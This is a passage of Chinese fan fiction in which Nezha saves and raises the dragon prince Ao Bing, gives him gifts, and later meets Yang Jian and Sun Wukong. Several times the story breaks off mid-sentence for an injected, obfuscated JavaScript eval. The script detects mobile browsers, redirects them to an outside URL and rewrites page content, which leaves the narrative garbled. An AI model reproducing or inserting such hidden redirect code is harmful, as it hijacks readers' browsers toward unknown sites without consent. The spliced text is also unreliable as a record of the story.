哪吒也只能干着急,把自己身上的内力都传给小龙,希望能再拖延些时日。 “傻龙,为什么要救我。”哪吒一手托着小龙前半身,看着它,“我抽了你的筋,你还救我的命,连自己的命都不要了,是不是傻。”又一手托着小龙下半身,像抱着兔子般,生怕敖丙被弄疼了。 小龙没了龙筋,又法力尽失,如今软趴趴的,听到声音后把眼睛慢慢睁开了,两个前爪微微张着:“不傻,我自愿的。你帮了龙族,我自当以命相报。” 哪吒又哭了,把小青龙当抱枕一样抱着,小青龙双手支着哪吒肩膀,拿舌头舔走哪吒的泪。 原来小莲藕的泪和龙一样,都是咸的。 可那纱棠果、龙衔珠又岂是这么好找的神药。哪吒只能看着敖丙一点点一点点变小,从刚开始还能说上几句话,到变成发出几句音节,到如今沉沉睡着,怎么都叫不醒了。 最后小龙就化成一臂长,睡在莲蓬中心上,哪吒已好得差不多了,除去荷花池的灵气续命,他也将内力源源不断输给敖丙。 希冀着再拖延一分一毫。 哪吒最近老哭,有时候抚着小青龙哭,哭得小声。 第四十八日,杨戬不见踪影。 太乙真人在荷花池旁不住叹息。 哪吒在荷花里不断的摸着小龙,一声一声唤他名字。 也不管敖丙听不听得见,哪吒又开始讲故事了,讲了这十年来他们的故事。 小龙没有回应,只是浅浅呼吸着,连耳朵都耷拉下来。 第四十九日,哪吒侧躺着,一手环住小龙。 哪吒今天一直在道歉,说来说去就是那几句话,但好像就是说不够,颠来倒去地说着对不起。 第五十日,荷花池静得可怕。只剩下太乙真人的炼丹炉还在噼里啪啦烧着。太乙真人在一旁打着坐,仙童除了饭点,不敢过来叨扰。 哪吒安静躺着,把敖丙从头到尾看了一遍又一遍,好似怎么样也看不够。 第五十一日。 敖丙缩到只有半臂那么长了。 太乙真人府邸的门刚修好便又被砸飞了。 一个人飞窜到荷花池,把一颗拳头般大的珠子塞到太乙真人手中。 “还来得及吗!”来人连气都没来得及捋顺就问到。 那正是威名赫赫显圣真君杨戬,如今头发散乱着,战甲丢了,圆领袍上有着很多破损,血迹斑斑,早已干涸殆尽,连那白玉似的脸上都落着零散的血痕。 “老夫……尽力而为……”太乙真人把那龙衔珠放入炼丹炉,口念诀词,火焰腾起,将周围空气都烧得灼热。 “师父!”哪吒在荷花里叫唤,“我能不能帮上忙!我的火焰或许还能给炉子加上几成火力!” “也好!出来吧!你的火力比为师强。” 哪吒怎么也没想到,自己也有燃火只为救人而非杀人的一天。 第六十日,丹药炼成,堪堪赶上敖丙魂魄即将消散那日。 太乙真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491116|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人刚把炉鼎盖子开了,哪吒顾不上烫手,右手往里一探就把药拿出来,火速赶到荷花那儿。 荷花开,花心大大的莲蓬上躺着一条极小的青龙,通体雪白,似有点点青色缀上。 那是华盖星君,是龙族三太子,是敖丙。如今却只剩巴掌般大了。双目紧闭着,呼吸几乎不可闻。 按龙族体型来算,刚出生的小龙就这般大,五百年后,可略掌雨水,千年才算长成,盘旋于天,司雨掌风,独当一面。 哪吒轻柔地捧起小龙放在左手手心,小龙软得像面条,轻得很,这是哪吒第一次拿起这么轻的东西,却又是第一次捧起这么重的东西。 敖丙失了意识,哪吒只能小心把龙吻掰开。 然后发现,药丸大了点,这龙嘴张到最大也吞不下。 哪吒一手躺着龙,一手拿着药丸,茫然看向太乙真人。 太乙真人:“这药掰开,也是一样的效果,全吞下去就好了。” 哪吒掰不开,那可是烧了60天的药丸,死硬。 别无他法,只得自己先吃了咬碎,再一点点喂给敖丙。 那药连苦了一辈子的哪吒都觉得苦到难以下咽。 小龙刚吃了几块,就有了知觉,拼命扭过头,嘴巴闭紧了,不愿再吃。 “敖丙!听话!” 这小龙才刚出生的年纪,哪懂这灵丹妙药,只觉得苦极了,反射性的就想吐出来。 哪吒分出一指,摁着敖丙,不让他乱动,两指掐着龙嘴,强迫吻部张开,右手火速往里塞下剩余的药丸碎碎,而后一手掐住敖丙嘴巴,防止小龙把那救命的药给吐出来。 小青龙难受得狂扭动,眼睛闭着却不断落着泪,顺着手指流到哪吒掌心,小爪子挠着哪吒手背,划下道道白痕。 哪吒看在眼里,疼在心里,用手指轻轻揉着龙身和龙肚,让敖丙尽量好受点。 那药丸是真的大,小小的龙吃完了,肚子都变得涨圆。 闹腾了好一会儿,小龙才静下来,睡了过去。哪吒把它双手捧在掌心,拿去给师傅望闻问切。 “它现在性命无虞了,但与刚出生的小龙无异。这……老夫也不晓得龙该如何养……”太乙真人抚须,想到个主意,“要不?把它送回龙王身边,再次长大。” 但是龙王和敖丙都没说禁海通道如何开启,又该如何与禁海内的龙族交流。 杨戬哪吒相顾无言,发现他们光顾着打仗了,忘了谈很多事。 哪吒和杨戬面面相觑,又看着小龙熟睡的模样片刻。 “师父,小龙,吃啥长大啊?”哪吒手捧着小青龙问。 8. 第八回 从今以后,混天绫就是你的法宝了 水界禁海的龙族、敖丙的家,是送不回去了;天庭也回不了。太乙真人此处虽能容得下哪吒,但于情于理,也不该让师父淌这浑水。 杨戬、哪吒在此处又留了几天,等到小龙情况稳定了,才起身拜别太乙真人。太乙真人笑呵呵送别了自己最爱的亲传弟子,乐呵着和显圣真君拜别,临行前又摸了摸还睡着的小龙,给备了好些草药丹药让他们带着,说是日后或许用得上。 远离人界的一座山峰上。 “你们要回人界吗?” “你回天界?” “我去幽都之门,找母亲那边的人联络联络。总有一天我要把我母亲的仇报了。”杨戬叉着腰,远眺西北方。 哪吒捧着小龙,睥睨世间,任寒风吹飞发丝。 “我打算带着敖丙回那处小屋。”他低头看着掌心的小龙,现在小敖丙正好奇的四处探头,打量世间。 “龙族,百年方能语,五百年可司雨,千年才算长成。这是按的人界时历算的,你可要照顾他千年?” “我将我功德香火分他,他神格还在。若在人间香火旺盛,兴许百年就可恢复如初。” 杨戬听了,像不知道想到了什么,朗声大笑起来,笑得腰都弯了,眼角都挂了泪,笑了好一会儿才停歇,一双笑眸望着中坛元帅:“想不到你个空心莲藕,还是个长情的种。” 二郎似笑非笑看着哪吒:“那好啊,到时候,我有空就登门拜访,师哥莫要嫌我多事!” “那我可就有失远迎了啊,师哥!”哪吒笑了。 都是同门,都是肉身成圣,同样的天之骄子,哪有什么师哥师弟之别,无非是嘴上恭敬着,心里那都是过命的交情。 二人又东拉西扯好一阵,才依依不舍道别。 小龙刚开始吹风吹得舒服,后来受不住了,钻进哪吒红色圆领袍的内袋睡下了。 杨戬起身:“那我走了啊!他日有缘再会!”正要召来祥云远去,却被哪吒叫住。 “戬兄留步!” 杨戬背着哪吒,只侧过头看着。 “那日戬兄舍身相救,又寻来龙衔珠救华盖星君一命,此等恩情,哪吒此生不忘。”说着说着,哪吒双膝跪下,做辑谢到。杨戬吓了一跳,正身过来躬身看着。 “哪吒不知何以为报,他日若戬兄若有求,我,哪吒,定当涌泉相报,在所不辞!” 杨戬看哪吒要给他磕头的架势,忙扶起哪吒:“何至于此!你我都是过命的交情了,哪有分这么清的!” 哪吒性情中人,心里憋的感激无处释放,死都要行下大礼,直到杨戬别无他法收了这个请,那坏心的莲藕才笑着起了身。 “那我这次真走了啊。” “走走走,到时候得闲饮酒啊!我院子里酿了上好的荷花酿呢!分量管够!” 杨戬摆摆手,脚踏祥云,飞到再也见不到的地方了。 小龙和哪吒回到了那处木屋,这里人迹罕至,又有法术加持,若非熟人,无法擅闯,是个安全的地方。 哪吒把小龙放在餐桌上,小龙四处嗅嗅,又张望着,用两个小前爪爬到桌沿,却发现桌子略高,不敢下去,便趴下把自己盘起来,又睡起来了。 哪吒看着觉得好笑又可爱,这小龙近日来老睡。看够了,才去门口把莲藕拔了一大堆,又抓了只路过的鸟,便去膳房做饭去了。 小龙被香醒了,或者说是被吵醒了,膳房那儿乒呤乓啷地响着。 “开饭了!”哪吒六只手端着六个盘子一一放下,把小龙围了个严严实实。 小龙确实是饿了,两个前爪撑着身子,把身子转了一圈,看着这有啥吃的: 凉拌桂花蜜莲藕、姜汁藕片、清炒藕片、莲藕鸟汤、一盘菜、肉片炒藕片。 小龙环视一圈,爬到桂花蜜藕片那儿,埋头就吃。哪吒这头才把碗筷拿了出来,往饭桌一瞅,发现那小龙整个龙都爬到餐碟里了。 “敖丙!”哪吒打紧放下碗筷,一手抓起小龙。小龙被抓了起来,前爪还抓着,嘴里也衔着块藕,被抓着也不挣扎,反倒是加快了咀嚼速度,像生怕被别人抢饭似的。 “哪有这么吃东西的!”哪吒随手抽了块布,沾了水就擦那浑身是蜜的龙儿,小龙可能是饿得狠了,身子被擦得一歪一歪,嘴倒是没停过,吭哧吭哧把藕块全吞了下去,都吃完了哪吒还没擦干净,两个还能动小爪爪就往餐桌那边探着,脖子伸得长长的,眼里像有星星似的。 “莫急莫急!”哪吒把小龙放在桌上,那小龙眼看又要爬过去,哪吒只能一手摁着小龙,一手夹着藕片,沾满了桂花蜜,放到小龙面前让它抓着吃。 “以前你就很喜欢吃凉的甜食,没想到再来一次,还是这么喜欢。”哪吒见缝插针给自己扒拉了几口饭,心思全放在小龙那儿了。 小龙连吃了五块糖莲藕。 等到哪吒夹了饭和肉给他,那小龙倒是扭过头,不愿吃了。再怼,那小龙就要扒拉着走开。哪吒哄了好几次,无果。 “好好好,不愿吃是吧,明天带你去集市买菜。”哪吒刮了刮小龙鼻子。他这生不曾养过宠物,如今倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491117|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是觉得新奇,纵使他知晓这是敖丙,不是寻常宠物。 后来,哪吒带着敖丙去人间市集搜罗食材,又寻了不同的菜谱,变着花样给小龙做饭吃。 小龙长得不快,转眼五年,才从巴掌大长到小臂长。不能举在手心了,哪吒就把小龙抱在怀里。 哪吒也没闲着,有时候听到人间哪有灾祸,便持着法器去扬善惩恶,有时候天灾来了,便从自家湖中拔走许多莲藕,能救济一点是一点。 他一边渡着千七百杀劫,一边救人。 他时时刻刻带着小龙,无论是惩恶还是行善事。 人间说,那天神,中坛元帅,哪吒,下了凡,为人间生灵操劳着。 人间建起一座座庙宇,供奉这位少年体态,眉目俊俏,用着红绸缎扎着丸子头的神灵。中坛元帅哪吒总是手上捧着条小龙,有人说,那是他的战利品;也有人说,那是他的灵宠;还有人说,那是他的好朋友。 哪吒没管太多,只是常托梦给世人,让他们不必供奉食物,有香火即可。人间灾厄多,黎民常食不果腹,又何苦把食物供奉出来,倒不如吃了,或许还能救几个饥民的命。 哪吒属火,教不了敖丙水系法术,只能教些寻常仙术功法。 又是一个十年,这一年,敖丙长到哪吒手臂那么长了。 一天,哪吒把敖丙放在他常打坐修炼的荷花里。莲蓬上,小龙撑着两只手,上下打量着面前那人要干嘛,龙脑袋左右晃着表示疑惑。 “敖丙,这几年来你也学了不少仙术。”哪吒盘坐在小龙前面,“你的龙筋在二十年前被我剥了,这是我的错,我会用我一生去弥补这个错误。” “我寻了许多年重塑龙筋的法子,但找不到。” “这混天绫能化作主人想要的形状,人形它可能支撑不了,但你现在体型尚小,混天绫应该能撑住,现如今,你的法力也足以操控它了。”哪吒把混天绫自身上取下,取消了主人认定,那混天绫失了神力,化作普通的红绸缎,泛着珠光。哪吒将混天绫小心翼翼叠好,整整齐齐放在小龙前。 “二十年前,我用它把你自水中抄起。”哪吒摸了摸小龙的头。 “今后,混天绫就是你的法宝了,希望它能帮你更好的翱翔,你是龙,生来就应该在深水里遨游,在九天之上飞翔。” 哪吒笑了,那个笑揉杂了歉意、悔恨,却又带着一丝欣慰与相逢的喜悦:“但我剥夺了本属于你的龙生。” “试试吧敖丙,我想看你重新飞翔的模样。”哪吒手撑花心,往后坐了点儿。 9. 第九回 什么时候,他满脑子都是小龙了 小龙看看哪吒,又用头去拱那叠混天绫,混天绫受力散了开来,静静躺在绿色莲蓬上。小龙鼻子一嗅一嗅的,鼻孔一张一张的。哪吒玩味看着小龙,嘴角情不自禁的上扬。 小小的龙爪碰了碰混天绫,小龙发现这红绸缎摸上去舒服,便一整条龙躺上去拿头蹭。待到小龙彻底和混天绫熟悉了,那混天绫才被敖丙的灵力托起,覆在龙背上,那是本该长着龙筋的地方。红色的绸缎覆在淡青色的龙身上其实并不好看,但现在还没找到重塑龙筋的方法,也只能先这么顶着当。 哪吒想,总有一天他要找到重塑龙筋的方法,他要让敖丙真真正正飞起来。到那一天,敖丙去哪他都不会再跟着了。是自己的错拖累了他。 小龙已有十年没飞过了,若是算上天界那十年,拢共就是20年。略有生疏,但是很就适应回来了,哪吒视线随着小龙走,小龙在空中飞够了,便钻到湖里,游了个畅快。正是荷花盛开的季节,这荷花又和哪吒又些灵力牵连,开得更是灿烂,湖上望去密密麻麻的。哪吒只能看着哪里的荷花荷叶在动,才知道敖丙在哪儿。 待到夕阳西下,小龙才窜出水面,回到哪吒身边。 哪吒感受到莲蓬移动,方才睁开眼,刚刚他把小龙看够了就不知道什么时候在花香里睡着了。 一人一龙,回家了。 小龙在灶台旁,操着水给哪吒洗菜用,哪吒力气大,时不时把水溅到小龙身上,敖丙忍不住了就甩甩身子,又把水洒的到处都是,把哪吒也整湿了。哪吒笑着,小龙也跟着身子一颤一颤的。 小龙被教会了不要爬进碟子里面吃饭,哪吒也被影响了,现在不再狼吞虎咽地吃饭了。 月挂长空,星河璀璨,一方无人之地,一湖无边荷花,一人一龙,就这么生活了十年。 第三生,敖丙十岁了。 又过了几年,今天人界的中秋。 哪吒用了法术化了个寻常模样,把敖丙变成个小蛇,去人间市集走了一遭。起初哪吒是反对的,说龙变成蛇,成何体统,龙可是百鳞之长!但敖丙执意把爪子摁在抓来的野蛇上,龙嘴巴哼哼唧唧地叫唤着。 其实就是化成蛇方便待在哪吒肩头看东西。开叉的舌头时常“嘶嘶”的声音,探头探脑的。这个时候哪吒就拿着早备好的银两,去小龙指的摊贩那儿买下些吃的玩的。等二人逛完寻了个偏僻地儿化回真身,飞回自家了。 哪吒抱着大包小包的东西,小龙就在一旁飞着,哪吒看不见前面,只知道小龙嗖一下就飞跑了。 哪吒倒不怕敖丙乱飞,养这小龙省心的很,又乖又听话,学东西又快。 “敖丙?!你都这么大了!”有人在很大声的笑,紧接着传来了躯体的碰撞声。 嗯,可能小龙和杨戬撞一起了。 “来了?” “来了!今天中秋,我来吃饭。” “你不让个动物捎个信啊?我可没买这么多菜。”哪吒一脚踹开房门,把买来的一窝端放桌子上,小龙自个儿飞过去拿爪子拆东西了。 杨戬四处瞅瞅,拉开凳子,也不客气就开始拆买来的零嘴:“随便吃点得了,意思意思,这不还能过上个几千几万次中秋嘛,图个喜庆。” 小龙把头钻进纸袋子里捞糖山楂,杨戬见状帮忙倒出来了,又拿衣袖擦擦小龙身上的糖粉:“哟,你混天绫给了敖丙啊。” “只能帮他飞嘞,下肢还是动不了,但比之前好多了。”哪吒在膳房大声回话,“去帮我摘些莲藕!要不然真的不够吃!” “敖丙你少吃点!等会还要吃饭呐!”视线落在桌上,小龙已经吃了大半袋糖山楂了。 月亮渐显,杨戬把桌子放到外面去了,哪吒把那不知道埋了多久的荷花酒给挖了出来,是敖丙帮忙洗干净的。 小龙还不会说话,光顾着吃,这正是龙族快速长大的岁数,饭量惊人的大。 哪吒杨戬一人一杯酒喝着,谈着。 “对了哪吒,我那天去和母亲的人联系,他们和我聊了聊天庭近况,遇上个有意思的。” “哦,说来听听?” “那人是石猴所化,叫孙悟空,也称孙大圣、齐天大圣。好像因为不满天庭尊卑制度,觉得天庭看不起他,把天庭砸了。”说着说着,杨戬就朗声大笑起来。 “哟呵,这可比咱们大胆多了。”哪吒和杨戬碰了碰杯。 杨戬突然靠了过来,刚想开口说话,发现这没外人,又退回去大声说起来。 “我得去接触接触这人,说不定过个几千年能一起打呢。” 哪吒又喝一口酒:“我感觉可以,到时候叫上我。” “敖丙咋办啊,放这儿?” “教了些术法,说不定以后能一起打。”哪吒一直认为敖丙功力高强,毕竟龙王和他若动真格,他不一定能赢。 小龙发现自己被提到了,猛地看向二人,嘴巴还沾着些酒。 “他这才相当于人类一两岁,你就让他喝啊?” 小龙听得懂,不乐意了,凭空召水滋了杨戬一脸。 杨戬乐了,擦擦脸:“哟,脾气还挺大。” “好歹是龙呢,喝点酒罢了,没事儿。”哪吒开了坛新酒,给酒樽满上,又给小龙面前的酒盘子倒满。 嗯,没多久小龙就不喝了,肚皮朝着天,躺在桌子上睡着了。 俗称醉了。 等到天光泛着鱼肚白,杨戬又要走了。敖丙正好也醒了,小时候不在意其他东西,只知道直白地表达情感,他径直飞到杨戬前,小龙爪紧紧扣着显圣真君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那年土坡上伤了小青龙;小青龙化人时惊鸿一眼;他放下那盆鱼虾正准备逃、敖丙就端坐轮椅上让他进来;冬天雨夜、不小心瞥见敖丙白皙的背部、白疤贯穿背部,和那如冰釉般的手感;自己奄奄一息,敖丙抓着他的手;后来是敖丙奄奄一息,化作小龙躺在他手心…… 什么时候,他的脑子里全都是这条小龙了。 今天,哪吒是被叫醒的,他头一次没被鸡鸣吵醒,也没自然醒。 等到他回过神。 “敖丙!?” 小龙撑着前爪,吻部张开了,很像人笑的样子。 “你会讲话了!!!”哪吒惊喜得很。 “龙族百岁余就会讲话了,我是快的那种。”小龙语气还带着点小骄傲。 10. 第十回 七夕节,哪吒给敖丙一个礼物 哪吒开心得不得了,把小龙抱起来就往天上抛。但是小龙有半个他那么长啦,已经不是能被轻轻松松抛很高的大小了。 等折腾完了,敖丙和哪吒躺在土地上晒太阳,初春的太阳暖烘烘的,带着万物复苏的味道。 “对了哪吒,你要不要去找大夫开点安眠的药。”小龙把头扭过来,注视哪吒那红棕色的眸子,那眸子亮的很,上有剑眉相称,眉眼实在是太好看了。 “你晚上经常做噩梦,抓着脖子在那倒吸气,不要紧吧?” 哪吒闻言一怔,把左手举起来。腕上的长命锁掉下来几公分,在太阳照耀下闪着金光:“无碍的,就是,还是忘不了上一世的事情。” “脖子还会疼吗?” “不疼了。” 疼在心里呢,敖丙想。 “对了,你以前不会说话,我看你也没什么感觉,你脊背……不痛了?”哪吒反而关心起他来了。 “冬天有你的火暖着,不疼。” 敖丙会说话了,虽按时岁来算约摸人类六七岁的幼儿,但有着完整的记忆,自然是早熟许多,如今褪去了稚龙心性,其实已和曾经无太大差别了。 这些年,除去在这山头休养生息,哪吒也带着小龙出去。凡人命弱,常有落水者,小龙路上遇着了,就钻到水里把人托到岸上;天干气燥,易走水,哪吒不惧火,就进火场里把还活着的人救出来。 然后再使些法术洗掉凡人记忆。按天道讲述,神仙还是不要过多介入人间因果为妙,除非人间唤他们名字法号求助。 但不知怎的好像没起作用,世人说是神仙显灵了。连带着龙宫、哪吒、敖丙的香火都旺了起来。哪吒的香火早就够了,他就转一部分给小龙。曾经在天庭,华盖星君没什么信众,神力低微,大战之后更是没人信奉。如今用龙族三太子的名义行善积德,也不失为好事。哪吒的信众早就根深蒂固了,天帝想铲也铲不动。 到后来,越来越多人就唤着中坛元帅的名字,求他救火护家;唤着龙王和龙王三太子的名字,求他救旱救涝。 中坛元帅自然能做到这些,但敖丙才百余岁,还操纵不了人间雨水,只能救下落水者。 小龙每次听着人间疾苦,总是和哪吒说自己想要快些长大,父王在禁海难以掌管人间风雨,如今人界的龙只剩下他了。 哪吒摸摸小龙的头,说纵使自己三头六臂也有力所不能及的地方,别把自己逼太紧了。 小龙是个负责任的,从那年拔下护心鳞就可见一斑,他更卖力地修炼了。 人间第250年,小龙和哪吒一样高了。 哪吒夏天热得睡不着,但顾忌敖丙长大了,不愿把小龙搂着纳凉,自己硬生生熬着,实在热得离谱就从草席上起来,跳湖里游泳。 小龙看在眼里呢,眨巴眨巴眼睛看着哪吒猛扑腾起身又嗵一声跳水里,觉得好笑得可爱。 等到哪吒擦干净身子回来,他就用两个前爪扒拉着身子贴过去,凉凉的龙鳞贴上火热的皮肤。其实敖丙还是习惯了只靠两个前爪活动的日子,儿时没有龙筋,导致他对重塑龙筋已没什么太大的执念了,这么多年他也习惯了。平时有混天绫相助,已经方便很多了。 “敖丙你干嘛呢!”哪吒想把他推开。 “你冬天给我取暖,我夏天给你纳凉,没怎么啊。”小龙可不管这些,他是鳞虫类又不是人,化作本体时可没那么多讲究,哪个龙在龙形时穿衣服啊。 人间第300年。 农历二月初二,龙抬头。 敖丙近来嗜睡,哪吒就自行去湖心荷花上打坐修炼,某个傍晚,哪吒买来的饭菜,刚撞开家门,就发现床榻那儿出现了个立着的被子。 水青色的长发从被褥间泄出来。 立着的被褥缓缓转了过来。 “哪吒……你有没有衣裳,先借我穿穿……” 第三生,敖丙300岁了,这第一次是自己修得的人形。 哪吒自然是有的,只是全是同样的红色圆领袍。哪吒叠好放床尾了,转过身去不看他。敖丙把手从被子里探出来,抓着衣服就往被窝里塞。 哪吒听着背后传来窸窸窣窣的声音,好像回到那年在天庭上给敖丙上药的时候了。哦,敖丙现在恢复人形了,脊背还会痛吗?那些药都留在天庭了,拿不出来,过几日再去找师父求点吧。 身后传来脚踏地的声音,然后是身体砸到地上的声音。 哪吒吓了一跳,忙回头,敖丙跪在地上,水青色的及腰长发散在地上、红色的衣服上。 “好像,混天绫真的无法支撑人形。”敖丙轻笑着,把手递给哪吒让他把自己扶起来。 家里还放着几百年前的轮椅,已然是不能用了。 “我明天去给你买几套衣服和轮椅回来。” “也好。但明日下雨,你等放晴了再去吧。”敖丙没拒绝他的提议。 两个人穿着一模一样的衣服,相顾无言,随后一起放声大笑了起来。 正值惊蛰时节,真如敖丙所言,那几日下了很大的几场雨,电闪雷鸣的。小龙趴在门口,看雨打荷花。现在这荷花一年四季都开着,好看极了,湖里养了各色的鲤鱼,不停游着。 雷声雨声夹杂着雨打荷叶与落下屋檐的声音,哪吒在烛光下读着兵书,看那小龙望着天,许久后看累了,就这么蜷在门口睡着了。 几日后,雨停了,哪吒拿着几套青蓝色圆领袍回来了,背过身让敖丙穿衣服。 “我找裁缝定制了些,过几日再去取。” “这……现在这几套不也能穿?”敖丙穿上新衣服,打量着几件布料上乘的圆领袍问到。 “你是华盖星君,还是龙族三太子,穿这么素的怎么行。”哪吒拍拍那叠衣服,追说到,“我习武之人,衣服要的就是耐用,你不一样。你生来就该穿好看的。” 小龙听得笑了,牙齿白白的,嘴角眉眼都弯弯的,好看极了。 “咱们还有银两吗?”敖丙问。 哪吒瞬时收了笑,糟了,光顾着给小龙买,忘了这茬。更何况有闲钱也拿去买粮草救济灾民去了。 “你明日再去帮我买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待到回家,正巧是昏黄时刻,哪吒把家里灯点了,反正烧的自己的火,不费钱,房间里亮堂堂的。 敖丙正在餐桌边继续吃着呢。 哪吒看了看那边,没在注意自己,便去书桌那边掏出个精致的木盒,转过身来藏在身后,步伐像在跳跳糖上走路似的,走到敖丙面前。 敖丙不吃了,抹了抹手,好奇看向哪吒。 哪吒拉开椅子,坐下,把藏在身后的木盒双手呈上。 “敖丙,你前些日子问我怎么遮遮掩掩的,我是想给你个惊喜,没其他的意思。” 有着繁复花纹的木盒被往前递了递。 “这是我想送给你的礼物,还请笑纳。”语气表情都一本正经的。 敖丙看着那人含羞又正色的模样,忍俊不禁,双手接过木盒。那盒子是推拉款,木刺被磨没了,又抹上了层亮油,手感光滑细腻。 敖丙轻轻推开龙纹雕刻的木盒,看见里面的宝物后,许久没说话,眼睛睁得大大的。 11. 第十一回 七夕节 互换礼物 那是个沉香木做的盒子,敖丙很早之前就闻到了木香味,约摸着就是他刚化人形的时候。 盒子里面静静躺着一个发冠,是荷花的样式,花心是没有的,用来束发,做得栩栩欲活。花瓣在火光下泛着光泽感,应是桑蚕丝制成;每一瓣花瓣之上坠有不同色泽的、上好的珍珠;镶边是镀了金的,衬得荷花愈发娇艳;色泽就如同一门之隔的荷花般,毫无二致。底托略有弧度,镶满了荧光的月光石;笄却是个龙形,模样和敖丙长得相像,是玻璃种的翡翠,颜色和他的鳞色相似。 敖丙双手捧着木盒,惊诧得说不出话来。 “只有花的部分是我做的,盒子也是。珠宝是我这些年处处惩恶得来的,我听说……龙族都喜欢山海间的异宝,想着你可能喜欢。”哪吒低着头,两手互相搓着。 可是敖丙还是不说话,甚至不愿意看他一眼。 哪吒开始慌了,低下头,不敢看敖丙一眼:“我没用你字画赚的钱,我自己也有活儿的。” 他看见敖丙拿手指摩挲着荷花花瓣,还以为是敖丙不喜欢荷花元素。 哪吒连语气都打了焉儿:“抱歉,是不是不和你心意……是我唐突了……咱们明天去集市逛逛?有喜欢的就买了,你老是散着头发也不方便……” 哪吒正抬头去拿木盒子,敖丙却一手按住了他。 四目相撞。 水青色的眸子全是喜爱和开心。 “我很喜欢……谢谢你,哪吒,它好漂亮。”敖丙轻轻地把发冠取出,又把木盒轻轻放在桌子上。 敖丙看看面前的人,又看了看手上的发冠,随后把发冠递给哪吒,问他:“你能帮我戴上发冠吗?” “敖丙你……龙族算15岁了吗?”未及15岁不应戴冠,戴冠也应由他长辈来戴,这也太逾矩了。 “还不算,但是我也不知道还能不能再见到父王了,你帮我戴上吧,我不介意的。” “啊……好!”哪吒喜出望外,立马站起来给敖丙找梳子。 敖丙就安安静静坐在轮椅上等他。 哪吒的手指还是一如既往的烫,烫烫的手指捧着如水一样的长发,一手梳着,一手扎着。手指有时候不小心碰到了敖丙的龙角,龙角敏感,敖丙会忍不住偏偏头,痒。 “嘶——”哪吒虽然经常给自己扎头发,但是敖丙不一样,他长了角,不太好梳,梳子总是有意无意碰到它。 最后不知是实在不熟悉给别人扎头发,还是故意扎这么久,那个华美的发冠终于呆在了敖丙头上,水青色的高马尾束起后,留了一缕陪着未被扎起的头发洒在身后,远处看不清楚,就像湖水上停驻一朵荷花,惹得敖丙更加濯清涟而不妖。 敖丙摸了摸头上的发冠,回过头朝哪吒一笑:“我也有礼物要送你。” 说着就去自己的书桌那边,拿起一个竹筒,双手递给哪吒:“拿出来看看吧。” 哪吒打开精美包住的画轴,小心翼翼展开了,生怕怪力撕烂了纸张。 那是一副画,湖中盛开着朵朵荷花,有一条小青龙在花海中游动着,朝着湖中央游。湖中央是一朵巨大的荷花,哪吒在上面打坐,晴空是他的背景。 题字,小龙和小莲藕。 颜料用的都是玉石所做,带着颗粒感,千年不褪色。纸也是上好的纸张,哪吒都能隐隐约约闻到画卷的墨香味。 哪吒看看画,又看看敖丙,笑得说不出话来。 二人就这么静默互相凝望了好一会,直到敖丙突然开口: “杨戬来了,好像,还带着个同伴?”他是龙,就算化了人形,也比真正的人听觉灵敏。 “叩叩!”来人大嗓门,“哪吒!开门!我!” 哪吒没好气收起画卷,放到床上。 猛一拉开门,不耐烦说:“你别告诉我你连七夕也要凑热闹过节。” “哟呵,看来我来的不是时候啊?”杨戬可不管这些,侧身看向房内,“敖丙!你修成人形了!” 敖丙笑着点点头。 “来,介绍介绍!”杨戬往身后招了招手,地上一块石头忽然变成只猴子,对着众人笑嘻嘻的。 杨戬正打算开口介绍呢,那人就抢了他的词: “俺老孙乃齐天大圣孙悟空!有幸见过二位哈!幸会!幸会!”一边还做辑行礼,不算正式,随性得很。 “来者是客,快请进!” 于是小小的餐桌周围围了三个人,杨戬轻车熟路地挖了好几坛荷花酿过来。 “这位就是我前些日子和你们说大闹天宫那位。”杨戬拍拍孙悟空,语气颇为赞赏。那猴子乐得笑了,说着,对对,就是俺老孙。 “后来我陪师父西天取经,你们是不知道,这一路上九九八十一难,那难呐,嗐!”孙悟空一摆手,又喝下一杯酒,朝众人大吐苦水。 “这遭是哪个神仙坐骑去人间作乱,那遭是谁门下仙童作恶……”孙悟空说到激动的地方,还猛拍桌子。 “特别是那玉帝!竟然因为黎民不小心打翻供桌,饥荒时吃了贡品,竟视为不敬,连续三年不降一滴雨!”孙悟空比了个3的手势,“杨兄后来找我,说有朝一日他要反了!” 杨戬喝了一杯酒,又给孙悟空满上:“时机未到,时机未到。” “反正俺老孙就把话撂这了,你要打,叫上我,一起打。”说到这孙悟空才想起这屋还有俩人,“对了,他俩打不打?” 哪吒举起酒杯:“打!必须打!” 